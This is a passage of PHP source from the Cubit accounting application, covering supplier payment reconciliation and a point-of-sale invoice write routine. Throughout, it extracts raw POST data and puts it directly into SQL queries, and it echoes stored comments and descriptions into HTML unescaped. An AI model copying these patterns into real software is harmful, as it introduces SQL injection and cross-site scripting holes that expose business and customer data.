$confirm .= "\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td colspan='5'><b>A general transaction will debit the supplier's account with " . CUR . " " . sprint($out) . " </b></td>\n\t\t\t\t</tr>";
}
}
vsprint($out);
###########################[ RECONCILIATION ]#############################
#if we adding a new reason ... add it
if (isset($newreason) and strlen($newreason) > 0 and (isset($newreasonamt) and strlen($newreasonamt) > 0)) {
if (!isset($newreasondescr)) {
$newreasondescr = "";
}
$ins_sql = "\n\t\t\tINSERT INTO recon_balance_ct (\n\t\t\t\tsupid, date, reason_id, amount,descr\n\t\t\t) VALUES (\n\t\t\t\t'{$supid}', 'now', '{$newreason}', '{$newreasonamt}', '{$newreasondescr}'\n\t\t\t)";
$run_ins = db_exec($ins_sql) or errDie("Unable to record new reson information.");
$navigation = "<script>gotoName('bottom');</script>";
}
#if we adding a new comment ... add it
if (isset($newcomment) and strlen($newcomment) > 0) {
$ins_sql = "\n\t\t\tINSERT INTO recon_comments_ct (\n\t\t\t\tsupid, comment, date\n\t\t\t) VALUES (\n\t\t\t\t'{$supid}', '" . base64_encode($newcomment) . "', 'now'\n\t\t\t)";
$run_ins = db_exec($ins_sql) or errDie("Unable to record new comment information.");
$navigation = "<script>gotoName('bottom');</script>";
}
#if we removing a reason ... remove it
if (isset($remreason)) {
$rem_sql = "DELETE FROM recon_balance_ct WHERE id = '{$remreason}'";
$run_rem = db_exec($rem_sql) or errDie("Unable to remove selected reason.");
}
#if we removing a comment ... remove it
if (isset($remcomment)) {
$rem_com = "DELETE FROM recon_comments_ct WHERE id = '{$remcomment}'";
$run_rem = db_exec($rem_com) or errDie("Unable to remove selected comment.");
}
#get balances ...
if (!isset($creditor_balance) or strlen($creditor_balance) < 1) {
$sql = "SELECT balance FROM cubit.recon_creditor_balances WHERE supid='{$supid}'";
$cbalance_rslt = db_exec($sql) or errDie("Unable to retrieve creditor balance.");
if (pg_numrows($cbalance_rslt) < 1) {
$creditor_balance = 0;
$ins_sql = "INSERT INTO cubit.recon_creditor_balances (supid,balance) VALUES ('{$supid}','0')";
$run_ins = db_exec($ins_sql) or errDie("Unable to record creditor balance.");
}
$creditor_balance = pg_fetch_result($cbalance_rslt, 0);
} else {
#update the db one now ..
$upd_sql = "UPDATE recon_creditor_balances SET balance = '{$creditor_balance}' WHERE supid = '{$supid}'";
$run_upd = db_exec($upd_sql) or errDie("Unable to update creditor balance information.");
}
$total_balance = sprint($sup["balance"] + $creditor_balance);
// $diff_balance = sprint($sup["balance"] - $creditor_balance);
$diff_balance = sprint($amt + array_sum($stock_setamt) - $creditor_balance);
#get reasons for supplier ...
$sql = "SELECT recon_balance_ct.id, date, reason, amount, descr FROM cubit.recon_balance_ct\n\t\t\t\tLEFT JOIN cubit.recon_reasons\n\t\t\t\t\tON recon_balance_ct.reason_id=recon_reasons.id\n\t\t\tWHERE supid='{$supid}' AND date>='{$date}'";
$balance_rslt = db_exec($sql) or errDie("Unable to retrieve balances.");
$balance_out = "";
$reason_total = 0;
while (list($id, $date, $reason, $amount, $reasondescr) = pg_fetch_array($balance_rslt)) {
$balance_out .= "\n\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t<td>{$date}</td>\n\t\t\t\t<td>{$reason}</td>\n\t\t\t\t<td align='right'>" . CUR . " {$amount}</td>\n\t\t\t\t<td>{$reasondescr}</td>\n\t\t\t\t<td><input type='checkbox' name='remreason' value='{$id}' onClick='document.form1.submit();'></td>\n\t\t\t</tr>";
$reason_total = $reason_total + $amount;
}
if ($reason_total != 0) {
$balance_out .= "\n\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t<td colspan='2'><b>Total:</b></td>\n\t\t\t\t<td align='right'><b>" . CUR . " " . sprint($reason_total) . "</b></td>\n\t\t\t\t<td colspan='2'></td>\n\t\t\t</tr>";
}
if (!isset($sup['supid'])) {
$sup['supid'] = "0";
}
#get comments for supplier ...
$sql = "SELECT id, date, comment FROM cubit.recon_comments_ct WHERE supid='{$sup['supid']}' ORDER BY id DESC";
$comments_rslt = db_exec($sql) or errDie("Unable to retrieve comments.");
$comments_out = "";
while ($comments_data = pg_fetch_array($comments_rslt)) {
$comments_out .= "\n\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t<td>{$comments_data['date']}</td>\n\t\t\t\t<td>" . base64_decode(nl2br($comments_data["comment"])) . "</td>\n\t\t\t\t<td><input type='checkbox' name='remcomment' value='{$comments_data['id']}' onClick='document.form1.submit();'></td>\n\t\t\t</tr>";
}
$get_reasons = "SELECT * FROM recon_reasons ORDER BY reason";
$run_reasons = db_exec($get_reasons) or errDie("Unable to get reasons information");
if (pg_numrows($run_reasons) < 1) {
$newreason_drop = "<a target='_blank' href='../recon_reason_view.php'>No Reasons Found.</a>";
} else {
#get list of available reasons
$newreason_drop = "<select name='newreason'>";
while ($rarr = pg_fetch_array($run_reasons)) {
$newreason_drop .= "<option value='{$rarr['id']}'>{$rarr['reason']}</option>";
}
$newreason_drop .= "</select>";
}
if (!isset($navigation)) {
$navigation = "";
}
$confirm .= "\n\t\t\t<input type='hidden' name='out' value='{$out}'>\n\t\t\t<tr>\n\t\t\t\t<td colspan='4'></td>\n\t\t\t\t<td align='right'><input type='submit' name='confirm' value='Confirm »'></td>\n\t\t\t</tr>\n\t\t</table>\n\t\t<table " . TMPL_tblDflts . ">\n\t\t\t" . TBL_BR . "\n\t\t\t<tr>\n\t\t\t\t<td valign='top'>\n\t\t\t\t\t<table " . TMPL_tblDflts . ">\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<th colspan='5'>Reconciliation to statement supplied by supplier:</th>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<th>Date</th>\n\t\t\t\t\t\t\t<th>Reason</th>\n\t\t\t\t\t\t\t<th>Amount</th>\n\t\t\t\t\t\t\t<th>Ref No</th>\n\t\t\t\t\t\t\t<th>Remove</th>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t{$balance_out}\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td colspan='2'>{$newreason_drop}</td>\n\t\t\t\t\t\t\t<td><input type='text' size='10' name='newreasonamt'></td>\n\t\t\t\t\t\t\t<td><input type='text' size='14' name='newreasondescr'></td>\n\t\t\t\t\t\t\t<td><input type='submit' value='Add'></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t</table>\n\t\t\t\t</td>\n\t\t\t\t<td valign='top'>\n\t\t\t\t\t<table " . TMPL_tblDflts . ">\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<th colspan='3'>Comments</th>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<th>Date</th>\n\t\t\t\t\t\t\t<th>Comment</th>\n\t\t\t\t\t\t\t<th>Remove</th>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t{$comments_out}\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td colspan='2'><input type='text' size='30' name='newcomment'></td>\n\t\t\t\t\t\t\t<td><input type='submit' value='Add'></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t</table>\n\t\t\t\t</td>\n\t\t\t</tr>\n\t\t\t" . TBL_BR . "\n\t\t</table>\n\t\t<table " . TMPL_tblDflts . ">\n\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t<td>Balance According to Cubit</td>\n\t\t\t\t<td align='right'>" . CUR . " {$sup['balance']}</td>\n\t\t\t</tr>\n\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t<td>Total Of This Payment</td>\n\t\t\t\t<td align='right'>" . CUR . " " . sprint($amt + array_sum($stock_setamt)) . "</td>\n\t\t\t</tr>\n\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t<td>Balance According to Supplier</td>\n\t\t\t\t<td align='right'><input type='text' name='creditor_balance' value='{$creditor_balance}'></td>\n\t\t\t</tr>\n\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t<td>Difference in amount paid now and supplier statement</td>\n\t\t\t\t<td align='right'><li class='err'>" . CUR . " {$diff_balance}</li></td>\n\t\t\t</tr>\n\t\t</table>\n\t\t</form>\n\t\t<a name='bottom'></a>\n\t\t{$navigation}";
return $confirm;
}
function write($_POST)
{
#get vars
extract($_POST);
if (isset($cusnum) && customer_overdue($cusnum)) {
return details($_POST, "<li class='err'>Customer is overdue, account blocked!</li>");
}
$pcredit += 0;
$pcash += 0;
$pcheque += 0;
$pcc += 0;
$deptid += 0;
db_conn('cubit');
if (isset($printsales)) {
$Sl = "SELECT * FROM settings WHERE constant='PSALES'";
$Ri = db_exec($Sl) or errDie("Unable to get settings.");
if (pg_num_rows($Ri) < 1) {
$Sl = "INSERT INTO settings (constant,value,div) VALUES ('PSALES','Yes','" . USER_DIV . "')";
$Ri = db_exec($Sl);
} else {
$Sl = "UPDATE settings SET value='Yes' WHERE constant='PSALES' AND div='" . USER_DIV . "'";
$Ri = db_exec($Sl);
}
} else {
$Sl = "UPDATE settings SET value='No' WHERE constant='PSALES' AND div='" . USER_DIV . "'";
$Ri = db_exec($Sl);
}
//$it+=0;
# validate input
require_lib("validate");
$v = new validate();
if (isset($client)) {
$v->isOk($client, "string", 0, 20, "Invalid Customer.");
} else {
$client = "";
}
if (isset($vatnum)) {
$v->isOk($vatnum, "string", 0, 30, "Invalid VAT Number.");
} else {
$vatnum = "";
}
$v->isOk($invid, "num", 1, 20, "Invalid Invoice Number.");
$v->isOk($telno, "string", 0, 20, "Invalid Customer Telephone Number.");
$v->isOk($cordno, "string", 0, 20, "Invalid Customer Order Number.");
$v->isOk($comm, "string", 0, 255, "Invalid Comments.");
$v->isOk($ordno, "string", 0, 20, "Invalid sales order number.");
$v->isOk($chrgvat, "string", 1, 4, "Invalid charge vat option.");
$v->isOk($salespn, "string", 1, 255, "Invalid sales person.");
$v->isOk($pinv_day, "num", 1, 2, "Invalid Invoice Date day.");
$v->isOk($pinv_month, "num", 1, 2, "Invalid Invoice Date month.");
$v->isOk($pinv_year, "num", 1, 5, "Invalid Invoice Date year.");
$odate = $pinv_year . "-" . $pinv_month . "-" . $pinv_day;
if (!checkdate($pinv_month, $pinv_day, $pinv_year)) {
$v->isOk($odate, "num", 1, 1, "Invalid Invoice Date.");
}
$v->isOk($traddisc, "float", 0, 20, "Invalid Trade Discount.");
if ($traddisc > 100) {
$v->isOk($traddisc, "float", 0, 0, "Error : Trade Discount cannot be more than 100 %.");
}
$v->isOk($delchrg, "float", 0, 20, "Invalid Delivery Charge.");
$v->isOk($SUBTOT, "float", 0, 20, "Invalid Delivery Charge.");
$odate = $pinv_year . "-" . $pinv_month . "-" . $pinv_day;
if (!checkdate($pinv_month, $pinv_day, $pinv_year)) {
$v->isOk($odate, "num", 1, 1, "Invalid Invoice Date.");
}
# used to generate errors
$error = "asa@";
# check if duplicate serial number selected, remove blanks
if (isset($sernos)) {
if (!ext_isUnique(ext_remBlnk($sernos))) {
//$v->isOk ($error, "num", 0, 0, "Error : Serial Numbers must be unique per line item.");
}
}
# check is serial no was selected
if (isset($stkids)) {
foreach ($stkids as $keys => $stkid) {
if (is_numeric($stkid)) {
$sql = "SELECT units, stkcod FROM cubit.stock WHERE stkid='{$stkid}'";
$stock_rslt = db_exec($sql) or errDie("Unable to retrieve stock.");
list($stock_units, $stock_code) = pg_fetch_array($stock_rslt);
if ($qtys[$keys] > $stock_units) {
$v->addError(0, "Not enough stock available for {$stock_code}");
}
}
# check if serial is selected
if (ext_isSerial("stock", "stkid", $stkid) && !isset($sernos[$keys])) {
$v->isOk($error, "num", 0, 0, "Error : Missing serial number for product number (2): <b>" . ($keys + 1) . "</b>");
} elseif (ext_isSerial("stock", "stkid", $stkid) && strlen($sernos[$keys]) <= 0 && strlen($sernos_ss[$keys]) <= 0) {
$v->isOk($error, "num", 0, 0, "Error : Missing serial number for product number (1): <b>" . ($keys + 1) . "</b>");
}
}
}
# check quantities
if (isset($qtys)) {
foreach ($qtys as $keys => $qty) {
$discp[$keys] += 0;
$disc[$keys] += 0;
$v->isOk($qty, "num", 1, 10, "Invalid Quantity for product number : <b>" . ($keys + 1) . "</b>");
$v->isOk($disc[$keys], "float", 0, 20, "Invalid Discount for product number : <b>" . ($keys + 1) . "</b>.");
if ($disc[$keys] > $unitcost[$keys]) {
$v->isOk($disc[$keys], "float", 0, 0, "Error : Discount for product number : <b>" . ($keys + 1) . "</b> is more than the unitcost.");
}
$v->isOk($discp[$keys], "float", 0, 20, "Invalid Discount Percentage for product number : <b>" . ($keys + 1) . "</b>.");
$v->isOk($unitcost[$keys], "float", 1, 20, "Invalid Unit Price for product number : <b>" . ($keys + 1) . "</b>.");
if ($qty < 1) {
$v->isOk($qty, "num", 0, 0, "Error : Item Quantity must be at least one. Product number : <b>" . ($keys + 1) . "</b>");
}
}
}
# check whids
if (isset($whids)) {
foreach ($whids as $keys => $whid) {
$v->isOk($whid, "num", 1, 10, "Invalid Store number, please enter all details.");
}
}
$cusnum += 0;
# check stkids
if (isset($stkids)) {
foreach ($stkids as $keys => $stkid) {
$v->isOk($stkid, "num", 1, 10, "Invalid Stock number, please enter all details.");
}
}
# check amt
if (isset($amt)) {
foreach ($amt as $keys => $amount) {
$v->isOk($amount, "float", 1, 20, "Invalid Amount, please enter all details.");
}
}
$des = remval($des);
# display errors, if any
$err = "";
if ($v->isError()) {
$errors = $v->getErrors();
foreach ($errors as $e) {
$err .= "<li class=err>" . $e["msg"];
}
return details($_POST, $err);
}
if (strlen($client) < 1) {
$client = "Cash Sale";
}
if (strlen($vatnum) < 1) {
$vatnum = "";
}
$_POST['client'] = $client;
$_POST['vatnum'] = $vatnum;
$_POST['telno'] = $telno;
$_POST['cordno'] = $cordno;
# Get invoice info
db_connect();
$sql = "SELECT * FROM pinvoices WHERE invid = '{$invid}' AND div = '" . USER_DIV . "'";
$invRslt = db_exec($sql) or errDie("Unable to get invoice information");
if (pg_numrows($invRslt) < 1) {
return "<li>- Invoice Not Found</li>";
}
$inv = pg_fetch_array($invRslt);
$inv['traddisc'] = $traddisc;
$inv['chrgvat'] = $chrgvat;
# check if invoice has been printed
if ($inv['printed'] == "y") {
$error = "<li class='err'> Error : Invoice number <b>{$invid}</b> has already been printed.</li>";
$error .= "<p><input type='button' onClick='JavaScript:history.back();' value='« Correct submission'>";
return $error;
}
# get department
db_conn("exten");
$sql = "SELECT * FROM departments WHERE deptid = '{$deptid}' AND div = '" . USER_DIV . "'";
$deptRslt = db_exec($sql);
if (pg_numrows($deptRslt) < 1) {
$dept['deptname'] = "<i class='err'>Not Found</i>";
} else {
$dept = pg_fetch_array($deptRslt);
}
# fix those nasty zeros
$traddisc += 0;
$delchrg += 0;
$vatamount = 0;
$showvat = TRUE;
# insert invoice to DB
db_connect();
# begin updating
pglib_transaction("BEGIN") or errDie("Unable to start a database transaction.", SELF);
/* -- Start remove old items -- */
# get selected stock in this invoice
$sql = "SELECT * FROM pinv_items WHERE invid = '{$invid}' AND div = '" . USER_DIV . "'";
$stktRslt = db_exec($sql);
while ($stkt = pg_fetch_array($stktRslt)) {
# update stock(alloc + qty)
$sql = "UPDATE stock SET alloc = (alloc - '{$stkt['qty']}') WHERE stkid = '{$stkt['stkid']}' AND div = '" . USER_DIV . "'";
$rslt = db_exec($sql) or errDie("Unable to update stock to Cubit.", SELF);
if (strlen($stkt['serno']) > 0) {
ext_unresvSer($stkt['serno'], $stkt['stkid']);
}
}
# remove old items
$sql = "DELETE FROM pinv_items WHERE invid='{$invid}' AND div = '" . USER_DIV . "'";
$rslt = db_exec($sql) or errDie("Unable to update invoice items in Cubit.", SELF);
/* -- End remove old items -- */
$taxex = 0;
if (isset($qtys)) {
foreach ($qtys as $keys => $value) {
/* set the serial ss field for serials selected from list */
if ($sernos_ss[$keys] == "*_*_*CUBIT_SERIAL_SELECT_BOX*_*_*") {
$sernos_ss[$keys] = $sernos[$keys];
}
if (isset($remprod) && in_array($keys, $remprod)) {
if ($sernos[$keys] == $sernos_ss[$keys] && $sernos_ss[$keys] != "") {
$chr = substr($sernos[$keys], strlen($sernos[$keys]) - 1, 1);
$tab = "ss{$chr}";
/* mark barcoded item as unavailable */
$sql = "UPDATE " . $tab . " SET active='yes' WHERE code = '{$sernos[$keys]}' AND div = '" . USER_DIV . "'";
db_exec($sql);
}
} else {
if (isset($accounts[$keys]) && $accounts[$keys] != 0) {
$accounts[$keys] += 0;
# Get selamt from selected stock
db_conn('core');
$Sl = "SELECT * FROM accounts WHERE accid='{$accounts[$keys]}'";
$Ri = db_exec($Sl) or errDie("Unable to get account data.");
$ad = pg_fetch_array($Ri);
$amt[$keys] = $qtys[$keys] * $unitcost[$keys];
db_conn('cubit');
$Sl = "SELECT * FROM vatcodes WHERE id='{$vatcodes[$keys]}'";
$Ri = db_exec($Sl);
if (pg_num_rows($Ri) < 1) {
return details($_POST, "<li class='err'>Please select the vatcode for all your items.</li>");
}
$vd = pg_fetch_array($Ri);
if ($vd['zero'] == "Yes") {
$excluding = "y";
} else {
$excluding = "";
}
if (TAX_VAT != $vd['vat_amount'] and $vd['vat_amount'] != "0.00") {
$showvat = FALSE;
}
$vr = vatcalc($amt[$keys], $inv['chrgvat'], $excluding, $inv['traddisc'], $vd['vat_amount']);
$vrs = explode("|", $vr);
$ivat = $vrs[0];
$iamount = $vrs[1];
$vatamount += $ivat;
# Check Tax Excempt
if ($vd['zero'] == "Yes") {
$taxex += $amt[$keys];
$exvat = "y";
} else {
$exvat = "n";
}
//$newvat+=vatcalc($amt[$keys],$chrgvat,$exvat,$traddisc);
$vatcodes[$keys] += 0;
$accounts[$keys] += 0;
$descriptions[$keys] = remval($descriptions[$keys]);
$wtd = $whids[$keys];
# insert invoice items
$sql = "INSERT INTO pinv_items(invid, whid, stkid, qty, unitcost,\n\t\t\t\t\t\t\t\tamt, disc, discp, ss, serno, div,vatcode,description,\n\t\t\t\t\t\t\t\taccount)\n\t\t\t\t\t\t\tVALUES('{$invid}', '{$whids[$keys]}', '{$stkids[$keys]}',\n\t\t\t\t\t\t\t\t'{$qtys[$keys]}', '{$unitcost[$keys]}', '{$amt[$keys]}',\n\t\t\t\t\t\t\t\t'{$disc[$keys]}', '{$discp[$keys]}', '', '','" . USER_DIV . "',\n\t\t\t\t\t\t\t\t'{$vatcodes[$keys]}','{$descriptions[$keys]}',\n\t\t\t\t\t\t\t\t'{$accounts[$keys]}')";
$rslt = db_exec($sql) or errDie("Unable to insert invoice items to Cubit.", SELF);
} else {
# get selamt from selected stock
$sql = "SELECT * FROM stock WHERE stkid = '{$stkids[$keys]}' AND div = '" . USER_DIV . "'";
$stkRslt = db_exec($sql);
$stk = pg_fetch_array($stkRslt);
# Calculate the Discount discount
if ($disc[$keys] < 1) {
if ($discp[$keys] > 0) {
$disc[$keys] = $discp[$keys] / 100 * $unitcost[$keys];
}
} else {
$discp[$keys] = $disc[$keys] * 100 / $unitcost[$keys];
}
# Calculate amount
$amt[$keys] = $qtys[$keys] * ($unitcost[$keys] - $disc[$keys]);
$Sl = "SELECT * FROM vatcodes WHERE id='{$vatcodes[$keys]}'";
$Ri = db_exec($Sl);
if (pg_num_rows($Ri) < 1) {
return details($_POST, "<li class=err>Please select the vatcode for all your items.</li>");
}
$vd = pg_fetch_array($Ri);
if ($vd['zero'] == "Yes") {
$excluding = "y";
} else {
$excluding = "";
}
if (TAX_VAT != $vd['vat_amount'] and $vd['vat_amount'] != "0.00") {
$showvat = FALSE;
}
$vr = vatcalc($amt[$keys], $inv['chrgvat'], $excluding, $inv['traddisc'], $vd['vat_amount']);
$vrs = explode("|", $vr);
$ivat = $vrs[0];
$iamount = $vrs[1];
$vatamount += $ivat;
# Check Tax Excempt
if ($stk['exvat'] == 'yes' || $vd['zero'] == "Yes") {
$taxex += $amt[$keys];
$exvat = "y";
} else {
$exvat = "n";
}
$wtd = $whids[$keys];
# insert invoice items
$sql = "INSERT INTO pinv_items(invid, whid, stkid, qty,\n\t\t\t\t\t\t\t\tunitcost, amt, disc, discp, ss, serno, div,vatcode)\n\t\t\t\t\t\t\tVALUES('{$invid}', '{$whids[$keys]}', '{$stkids[$keys]}',\n\t\t\t\t\t\t\t\t'{$qtys[$keys]}', '{$unitcost[$keys]}', '{$amt[$keys]}',\n\t\t\t\t\t\t\t\t'{$disc[$keys]}', '{$discp[$keys]}', '{$sernos_ss[$keys]}', '{$sernos[$keys]}',\n\t\t\t\t\t\t\t\t'" . USER_DIV . "','{$vatcodes[$keys]}')";
// $sql = "INSERT INTO pinv_items(invid, whid, stkid, qty, unitcost, amt, disc, discp, div) VALUES('$invid', '$whids[$keys]', '$stkids[$keys]', '$qtys[$keys]', '$unitcost[$keys]','$amt[$keys]', '$disc[$keys]', '$discp[$keys]', '".USER_DIV."')";
$rslt = db_exec($sql) or errDie("Unable to insert invoice items to Cubit.", SELF);
if (strlen($sernos[$keys]) > 0) {
ext_resvSer($sernos[$keys], $stk['stkid']);
}
# update stock(alloc + qty)
$sql = "UPDATE stock SET alloc = (alloc + '{$qtys[$keys]}') WHERE stkid = '{$stkids[$keys]}' AND div = '" . USER_DIV . "'";
$rslt = db_exec($sql) or errDie("Unable to update stock to Cubit.", SELF);
}
}
# everything is set place done button
$_POST["done"] = " | <input name='doneBtn' type='submit' value='Process'>";
}
} else {
$_POST["done"] = "";
}
db_conn('cubit');
$Sl = "SELECT * FROM vatcodes WHERE id='{$delvat}'";
$Ri = db_exec($Sl);
// /*if(pg_num_rows($Ri)>0) {
// */$taxex += $delchrg;
// }
$vd = pg_fetch_array($Ri);
if ($vd['zero'] == "Yes") {
$excluding = "y";
} else {
$excluding = "";
}
if (TAX_VAT != $vd['vat_amount'] and $vd['vat_amount'] != "0.00") {
$showvat = FALSE;
}
$_POST['showvat'] = $showvat;
$vr = vatcalc($delchrg, $inv['chrgvat'], $excluding, $inv['traddisc'], $vd['vat_amount']);
$vrs = explode("|", $vr);
$ivat = $vrs[0];
$iamount = $vrs[1];
$vatamount += $ivat;
/* --- ----------- Clac --------------------- */
##----------------------NEW----------------------
$sub = 0.0;
if (isset($amt)) {
$sub = sprint(array_sum($amt));
}
$VATP = TAX_VAT;
if ($chrgvat == "exc") {
$taxex = sprint($taxex - $taxex * $traddisc / 100);
$subtotal = sprint($sub + $delchrg);
$traddiscmt = sprint($subtotal * $traddisc / 100);
$subtotal = sprint($subtotal - $traddiscmt);
// $VAT=sprint(($subtotal-$taxex)*$VATP/100);
$VAT = sprint($vatamount);
$SUBTOT = $sub;
$TOTAL = sprint($subtotal + $VAT);
$delexvat = sprint($delchrg);
} elseif ($chrgvat == "inc") {
$ot = $taxex;
$taxex = sprint($taxex - $taxex * $traddisc / 100);
$subtotal = sprint($sub + $delchrg);
$traddiscmt = sprint($subtotal * $traddisc / 100);
$subtotal = sprint($subtotal - $traddiscmt);
// $VAT=sprint(($subtotal-$taxex)*$VATP/(100+$VATP));
$VAT = sprint($vatamount);
$SUBTOT = sprint($sub);
$TOTAL = sprint($subtotal);
$delexvat = sprint($delchrg);
$traddiscmt = sprint($traddiscmt);
} else {
$subtotal = sprint($sub + $delchrg);
$traddiscmt = sprint($subtotal * $traddisc / 100);
$subtotal = sprint($subtotal - $traddiscmt);
$VAT = sprint(0);
$SUBTOT = $sub;
$TOTAL = $subtotal;
$delexvat = sprint($delchrg);
}
$Sl = "SELECT * FROM posround";
$Ri = db_exec($Sl);
$data = pg_fetch_array($Ri);
if ($data['setting'] == "5cent") {
if (sprint(floor(sprint($TOTAL / 0.05))) != sprint($TOTAL / 0.05)) {
$otot = $TOTAL;
$nTOTAL = sprint(sprint(floor($TOTAL / 0.05)) * 0.05);
$rounding = $otot - $nTOTAL;
} else {
$rounding = 0;
}
} else {
$rounding = 0;
}
//print sprint(floor($TOTAL/0.05));
#get accno if invoice is on credit
if ($cusnum != "0") {
$get_acc = "SELECT * FROM customers WHERE cusnum = '{$cusnum}' LIMIT 1";
$run_acc = db_exec($get_acc) or errDie("Unable to get customer information");
if (pg_numrows($run_acc) < 1) {
$accno = "";
} else {
$arr = pg_fetch_array($run_acc);
$cusacc = $arr['accno'];
}
} else {
$cusacc = "";
}
// die($cusnum);
# insert invoice to DB
$sql = "UPDATE pinvoices SET pcredit='{$pcredit}',cusnum='{$cusnum}',delvat='{$delvat}',rounding='{$rounding}',pcash='{$pcash}',pcheque='{$pcheque}',\n\t\tpcc='{$pcc}',deptid='{$deptid}',deptname = '{$dept['deptname']}', cusname = '{$client}', cordno = '{$cordno}', ordno = '{$ordno}',chrgvat = '{$chrgvat}',\n\t\tsalespn = '{$salespn}', odate = '{$odate}', traddisc = '{$traddisc}', delchrg = '{$delchrg}', subtot = '{$SUBTOT}', vat = '{$VAT}', total = '{$TOTAL}',\n\t\tbalance = '{$pcredit}', comm = '{$comm}', discount='{$traddiscmt}', delivery='{$delexvat}', vatnum='{$vatnum}', cusacc = '{$cusacc}', telno='{$telno}'\n\t\tWHERE invid = '{$invid}' AND div = '" . USER_DIV . "'";
$rslt = db_exec($sql) or errDie("Unable to update invoice in Cubit.", SELF);
# remove old data
$sql = "DELETE FROM pinv_data WHERE invid='{$invid}' AND div = '" . USER_DIV . "'";
$rslt = db_exec($sql) or errDie("Unable to update invoice data in Cubit.", SELF);
# put in new data
$sql = "INSERT INTO pinv_data(invid, dept, customer, div) VALUES('{$invid}', '{$dept['deptname']}', '{$client}', '" . USER_DIV . "')";
$rslt = db_exec($sql) or errDie("Unable to insert invoice data to Cubit.", SELF);
# commit updatin
if (strlen($bar) > 0) {
/* check if there a stock item with global barcode matching input barcode */
$sql = "SELECT * FROM stock WHERE bar='{$bar}' AND div = '" . USER_DIV . "'";
$barRslt = db_exec($sql);
if (pg_num_rows($barRslt) <= 0) {
/* fetch last character of barcode */
$chr = substr($bar, strlen($bar) - 1, 1);
/* invalid barcode */
if (!is_numeric($chr)) {
return details($_POST, "The code you selected is invalid");
}
/* which barcode table to scan for stock id */
$tab = "ss{$chr}";
$stid = barext_dbget($tab, 'code', $bar, 'stock');
$stab = "serial{$chr}";
$sstid = serext_dbget($stab, 'serno', $bar, 'stkid');
/* non-existing barcode, check for serial number */
if ($stid <= 0) {
if ($sstid <= 0) {
return details($_POST, "<li class='err'>The serial number/bar code you selected is not in the system or is not available.</li>");
}
if (serext_dbnum($stab, 'serno', $bar, 'stkid') > 1) {
return details($_POST, "<li class='err'>Duplicate serial numbers found, please scan barcode or select stock item.</li>");
}
/* mark barcoded item as unavailable */
$sql = "UPDATE " . $stab . " SET rsvd='y' WHERE serno='{$bar}'";
db_exec($sql);
$serno_bar = "{$bar}";
$stid = $sstid;
} else {
if ($sstid > 0) {
return details($_POST, "<li class='err'>A serial and barcode with same value, please scan other value or select product manually.</li>");
}
/* mark barcoded item as unavailable */
$sql = "UPDATE " . $tab . " SET active='no' WHERE code='{$bar}' AND div='" . USER_DIV . "'";
db_exec($sql);
$serno_bar = "{$bar}";
}
/* fetch stock row for selected item */
$sql = "SELECT * FROM stock WHERE stkid = '{$stid}' AND div = '" . USER_DIV . "'";
$barRslt = db_exec($sql);
} else {
$serno_bar = "";
}
$s = pg_fetch_array($barRslt);
/* allocate stock item */
$sql = "UPDATE stock SET alloc = (alloc + '1') WHERE stkid = '{$s['stkid']}' AND div = '" . USER_DIV . "'";
db_exec($sql) or errDie("Unable to update stock to Cubit.", SELF);
$sql = "INSERT INTO pinv_items(invid, whid, stkid, qty, unitcost, amt,\n\t\t\t\t\tdisc, discp, ss, serno, div)\n\t\t\t\tVALUES('{$invid}', '{$s['whid']}', '{$s['stkid']}', '1','{$s['selamt']}',\n\t\t\t\t\t'{$s['selamt']}', '0', '0','{$bar}', '{$serno_bar}', '" . USER_DIV . "')";
db_exec($sql) or errDie("Unable to insert invoice items to Cubit.", SELF);
}
pglib_transaction("COMMIT") or errDie("Unable to commit a database transaction.", SELF);
/* --- Start button Listeners --- */
if (isset($doneBtn)) {
# check if stock was selected(yes = put done button)
db_connect();
$sql = "SELECT stkid FROM pinv_items WHERE invid = '{$inv['invid']}' AND div = '" . USER_DIV . "'";
$crslt = db_exec($sql);
if (pg_numrows($crslt) < 1) {
$error = "<li class='err'> Error : Invoice number has no items.";
return details($_POST, $error);
}
$TOTAL = sprint($TOTAL - $rounding);
#check for credit limit
if ($cusnum != "0") {
#customer is selected ... get info
$sql = "SELECT * FROM customers WHERE cusnum = '{$cusnum}' AND location != 'int' AND div = '" . USER_DIV . "'";
$custRslt = db_exec($sql) or errDie("Unable to view customer");
if (pg_numrows($custRslt) < 1) {
$cust['balance'] = "0";
$cust['creditlimit'] = "0";
} else {
$cust = pg_fetch_array($custRslt);
}
#customer is set check for response
if ($pcredit + $cust['balance'] > $cust['credlimit']) {
#limit reached ... check for block
db_conn("cubit");
$get_check = "SELECT value FROM set WHERE label = 'CUST_INV_WARN' LIMIT 1";
$run_check = db_exec($get_check) or errDie("Unable to get credit limit response setting");
if (pg_numrows($run_check) < 1) {
#no setting ? do nothing ....
} else {
$sarr = pg_fetch_array($run_check);
if ($sarr['value'] == "block") {
#block account ...
return details($_POST, "<li class='err'>Warning : Customers Credit limit of <b>" . CUR . " " . sprint($cust["credlimit"]) . "</b> has been exceeded.</li>");
}
}
# Check permissions
if (!perm("invoice-limit-override.php")) {
return details($_POST, "<li class='err'>Warning : Customers Credit limit of <b>" . CUR . " " . sprint($cust["credlimit"]) . "</b> has been exceeded.</li>");
}
}
}
if ($pcash + $pcheque + $pcc + $pcredit < $TOTAL) {
return details($_POST, "<li class='err'>The total of all the payments is less than the invoice total</li>");
}
$change = sprint(sprint($pcash + $pcheque + $pcc + $pcredit) - sprint($TOTAL));
